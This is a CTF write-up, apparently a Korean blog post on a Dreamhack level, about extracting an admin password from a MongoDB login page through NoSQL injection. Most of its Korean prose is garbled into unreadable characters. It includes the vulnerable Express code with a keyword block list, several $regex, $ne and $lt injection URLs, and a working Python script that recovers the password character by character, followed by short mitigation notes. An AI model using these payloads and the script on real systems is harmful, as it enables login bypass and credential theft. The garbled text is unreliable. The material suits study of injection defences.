๐๏ธAccess
์ด ๋ฌธ์ ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์ฅ๋ ํ๋๊ทธ๋ฅผ ํ๋ํ๋ ๋ฌธ์ ์ด๋ค.
flag๋ admin ๊ณ์ ์ ๋น๋ฐ๋ฒํธ์ด๋ค.
ํ๋๊ทธ์ ํ์์ DH{…} ์ด๋ค.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}
๐พExploit Algorithm & Payload
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
#1
: '/' ์ธ๋ฑ์ค ํ์ด์ง์์ 'login?uid=guest&upw=guest'๋ผ๊ณ ํ๋ฉด์ ์ถ๋ ฅ๋์ด ์๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
: '/login' ํ์ด์ง์ url์(GET) uid, upw ํ๋ผ๋ฏธํฐ ๊ฐ์ ์ ๋ ฅํ๋ฉด ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ ์ ์์ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
: ๊ฐ์ ์ ๋ ฅํ๋ฉด ํด๋น ๊ณ์ ์ ์๋ต ๊ฒฐ๊ณผ๋ฅผ ์ถ๋ ฅ๋ฐ์ ์ ์๋ค.
(burp suite ๋๊ตฌ๋ฅผ ์ด์ฉํ์ฌ Request, Response ๊ฐ์ ํ์ธํจ)
#2
#...
const BAN = ['admin', 'dh', 'admi'];
#...
: ํด๋น ํ์ด์ง์์ admin, dh, admi์ ๊ฐ์ ํํฐ๋ง ์ ์ฉ๋ ๊ฒ์ ํ์ธ ํ ์ ์๋ค.
/login?uid[$regex]=g&upw[$regex]= #guest
/login?uid[$regex]=a&upw[$regex]= #dreamhack
/login?uid[$regex]=i&upw[$regex]= #admin
/login?uid[$regex]=i&upw[$regex]= #adgj
/login?uid[$regex]=i&upw[$regex]= #mongo
/login?uid[$regex]=ad...&upw[$regex]=D.{ #admin
/login?uid[$ne]=guest&upw[$ne]=dreamhack #ad
/login?uid[$lt]=b&upw[$lt]=d #admin
...
NoSQL memo(Mongo DB ์ ๊ท์ ๋ฐ ํํ์) | |
$expr |
์ฟผ๋ฆฌ ์ธ์ด ๋ด์์ ์ง๊ณ ์์ ์ฌ์ฉํ ์ ์์ต๋๋ค. |
$regex | ์ง์ ๋ ์ ๊ท์๊ณผ ์ผ์นํ๋ ๋ฌธ์๋ฅผ ์ ํํฉ๋๋ค. |
$text | ์ง์ ๋ ํ ์คํธ๋ฅผ ๊ฒ์ํฉ๋๋ค. |
$where | JavaScript ํํ์์ ๋ง์กฑํ๋ ๋ฌธ์์ ์ผ์นํฉ๋๋ค. |
$ne | not equal (< >) |
$lt | little ( < ) |
$gt | greater ( > ) |
... |
: NoSQL์ Mongo DB๋ฅผ injectionํ๊ธฐ ์ํด ์์ ๊ฐ์ string ์ฟผ๋ฆฌ ์ด์ธ์ ๋ค์ํ ํํ์ object ์ฟผ๋ฆฌ๋ก ์ ๋ฌํ์ฌ ์ฌ์ฉ์๋ฅผ ํ์ธํ ์ ์๋ค.
: [$regex]๋ฅผ ์ด์ฉํ ์ ๊ท ํํ์ ์์์ ๊ฐ(’.’)์ ๋ฃ์ด ๋ฌธ์์ด์ด ์๋์ง ์ถ์ธกํ ์ ์๋ค.
: ๋ฐ๋ผ์ admin์ ๋น๋ฐ๋ฒํธ ๊ธธ์ด๋ฅผ ์์๋ธ ํ ๋น๋ฐ๋ฒํธ๋ฅผ ์์๋ด์ผ๊ฒ ๋ค๊ณ ํ๋จํ์ฌ python์ผ๋ก ์ฝ๋๋ฅผ ์์ฑํ๋ค.
(burp suit ๋๊ตฌ๋ก๋ ๊ฐ๋ฅ)
#3
: ํต์ฌ์ ๋ค์๊ณผ ๊ฐ๋ค.
- target_chars์ ๋ณ์๋ ์์ด ์๋ฌธ์, ์ซ์, ํน์๋ฌธ์๋ฅผ ๋ด์๋ค.
(์์ด ๋๋ฌธ์๋ ์ฝ๋์ .toLowerCase() ๋๋ฌธ์ ๋ฉ์๋์ ๊ฒฐ๊ณผ๊ฐ ์๋ฌธ์๋ก ๋ณํ๋จ์ผ๋ก ์ ์ธ์ํด)
(ํน์ ๋ฌธ์์์ ์ฃผ์ํ ๋ถ๋ถ์ด ์์๋ค. ํจ์ค์๋ ๋ด์ฉ์ ํ์ธํ๊ธฐ ์ํด ์ฃผ์ ํ๋ ํน์ ๋ฌธ์ ์ค ‘.’ ์ด ์์ด์ ์ณ์ ๊ฐ์ผ๋ก ์ฒ๋ฆฌ๋๋ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ ์ ์์๋ค. ๋ฐ๋ผ์ #6์์ ๋ณ๋๋ก ์ฝ๋๋ฅผ ์ฒ๋ฆฌ ์์ผฐ๋ค.)
- GET๋ฐฉ์์ธ params๋ก ๋ฐ์ดํฐ๋ฅผ ์์ฒญํ์๋ค.
- ์์์ ์ป์ ๋ณ์ pwd_len์(36) ‘DH{[ํจ์ค์๋ ๊ธธ์ด]}’ ๊ธธ์ด๋ค. ํ์ง๋ง ํํฐ๋ง์ dh๊ฐ ์๊ธฐ ๋๋ฌธ์ ์ฐผ์๋ ๊ฐ ‘d.’์ ๊ธธ์ด์์ ๋นผ๊ณ (36-2) ๋ฐ๋ณต๋ฌธ์ ๋๋ ธ๋ค.
- ์์์ ์ธ๊ธํ๋ ‘.’์ ๋ง๋๊ฒ ๋๋ฉด continue๋ช ๋ น์ ์ํด์ ๋ณ๋๋ก ํน์ ๋ฌธ์ ์ ์ธ์์ผฐ๋ค.
import requests
import string
url = 'http://host3.dreamhack.games:13659/login'
target_chars = string.digits + string.ascii_lowercase + '{' + '}'
flag_password = '' #End user password
pwd_len = 0
ch = '.' #์ ๊ท์ ์์์ ๋ฌธ์ ํํ
while(1):
payload = f'uid[$regex]=ad...&upw[$regex]={ch}'
#GET๋ฐฉ์ -> params, POST๋ฐฉ์ -> data
response = requests.get(url, params=payload)
if 'admin' in response.text:
pwd_len +=1
#print(f'len-> {response.text}:{pwd_len}')
ch += '.'
else:
break
print(f'[*] password len: {pwd_len}')
#D. -> pwd_len - 2
for i in range(1,pwd_len+1-2):
for c in target_chars:
if '.' in c:
continue
payload = f'uid[$regex]=ad...&upw[$regex]=D.{flag_password}{c}'
response = requests.get(url, params=payload)
print(response.request.url)
#admin password injection check
#print(f'case{i}: injection->{c}')
if 'admin' in response.text:
flag_password += c
#print(flag_password)
break
print(f'[*] admin password: DH{flag_password}')
๐Analysis and results for obtaining the Flag DH{…}
๐Summary
-๋์๋ฐฉ์-
| ๋งค๊ฐ๋ณ์ํ๋ ์ฟผ๋ฆฌ ์ฌ์ฉ |
๋ฌธ์์ด ์ฐ๊ฒฐ์ ์ฌ์ฉํ์ฌ ์ฟผ๋ฆฌ๋ฅผ ์์ฑํ๋ ๋์ ํ๋ก๊ทธ๋๋ฐ ์ธ์ด์ MongoDB ๋๋ผ์ด๋ฒ์์ ์ ๊ณตํ๋ ๋งค๊ฐ๋ณ์ํ๋ ์ฟผ๋ฆฌ ๋๋ ์ค๋น๋ ๋ช
๋ น๋ฌธ์ ์ฌ์ฉ (์ฌ์ฉ์ ์
๋ ฅ์ด ์คํ ๊ฐ๋ฅํ ์ฝ๋๊ฐ ์๋ ๊ฐ์ผ๋ก ์ฒ๋ฆฌ)
| ์
๋ ฅ ๊ฒ์ฆ ๋ฐ ์ญ์ |
์ฌ์ฉ์ ์
๋ ฅ์ ์ฟผ๋ฆฌ์ ์ฌ์ฉํ๊ธฐ ์ ์ ๊ฒ์ฆํ๊ณ ์ญ์ (์์๋๋ ํ์์ด๋ ๋ด์ฉ์ ์ถฉ์กฑํ์ง ์๋ ์
๋ ฅ์ ๊ฑฐ๋ถ)
| ํ์ดํธ๋ฆฌ์คํธ ์
๋ ฅ |
์ฌ์ฉ์ ์
๋ ฅ์ ๋ํด ํ์ฉ๋๋ ๊ฐ ๋๋ ํจํด์ ํ์ดํธ๋ฆฌ์คํธ๋ฅผ ์ ์ง ๊ด๋ฆฌ (์ฌ์ ์ ์๋ ๊ธฐ์ค๊ณผ ์ผ์นํ๋ ์
๋ ฅ๋ง ํ์ฉ)
(์ํฉ์ ๋ฐ๋ผ์ ๋ธ๋๋ฆฌ์คํธ ์
๋ ฅ์ ์ฌ์ฉํ๊ธฐ๋ ํจ)
| ํน์ ๋ฌธ์ ์ด์ค์ผ์ดํ |
์ฟผ๋ฆฌ์ ์ฌ์ฉ์ ์
๋ ฅ์ ํฌํจํด์ผ ํ๋ ๊ฒฝ์ฐ ํน์ ๋ฌธ์๋ฅผ ์ฌ๋ฐ๋ฅด๊ฒ ์ด์ค์ผ์ดํํ์ฌ MongoDB ์ฐ์ฐ์๋ก ์ฒ๋ฆฌ๋์ง ์๋๋ก ํจ
...
SQL>
- ๋ฐ์ดํฐ ์๋ฃํ: ๋ฌธ์์ด, ์ ์, ๋ ์ง, ์ค์, …
- SQL(RDBMS)
- ์คํค๋ง๋ฅผ ์ ์, ํด๋น ๊ท๊ฒฉ์ ๋ง๋ ๋ฐ์ดํฐ๋ฅผ 2์ฐจ์ ํ ์ด๋ธ ํํ๋ก ์ ์ฅ
์ฅ) ์ ํด์ง ๋ฌธ๋ฒ์ ํตํด ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๊ธฐ ๋๋ฌธ์ ํ ๊ฐ์ง์ ์ธ์ด๋ก ๋ค์ํ DBMS ์ฌ์ฉ
๋จ) ์ ์ฅํด์ผ ํ๋ ๋ฐ์ดํฐ๊ฐ ๋ง์์ง๋ฉด ์ฉ๋์ ํ๊ณ๊ฐ ์กด์ฌ
NoSQL>
- ๋ฐ์ดํฐ ์๋ฃํ: ์ ๋ด์ฉ ์ด์ธ์๋ ์ค๋ธ์ ํธ, ๋ฐฐ์ด ํ์ , …
- NoSQL(Non-Relational DBMS)
- key-value(ํค-๊ฐ์ ์ด์ฉํด ๋ฐ์ดํฐ ์ ์ฅ)
์ฅ) ๋ณต์กํ์ง ์์ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํด ๋จ์ ๊ฒ์ ๋ฐ ์ถ๊ฐ ๊ฒ์ ์์ ์ ์ํ ์ต์ ํ๋ ๊ณต๊ฐ
๋จ) Redis, Dynamo, CouchDB, MongoDB ๋ฑ ๋ค์ํ DBMS๊ฐ ์กด์ฌํ๊ธฐ ๋๋ฌธ์ ๊ฐ๊ฐ์ ๊ตฌ์กฐ์ ์ฌ์ฉ ๋ฌธ๋ฒ ์ตํ์ผ ํจ
'[Dreamhack]WebHacking > ๋ก๋๋งต_Basic' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level1: image-storage (0) | 2023.08.26 |
---|---|
[Dreamhack] Level1: command-injection-1 (0) | 2023.08.24 |
[Dreamhack] Level1: simple_sqli (0) | 2023.08.22 |
[Dreamhack] Level1: csrf-2 (0) | 2023.08.21 |
[Dreamhack] Level1: csrf-1 (0) | 2023.08.21 |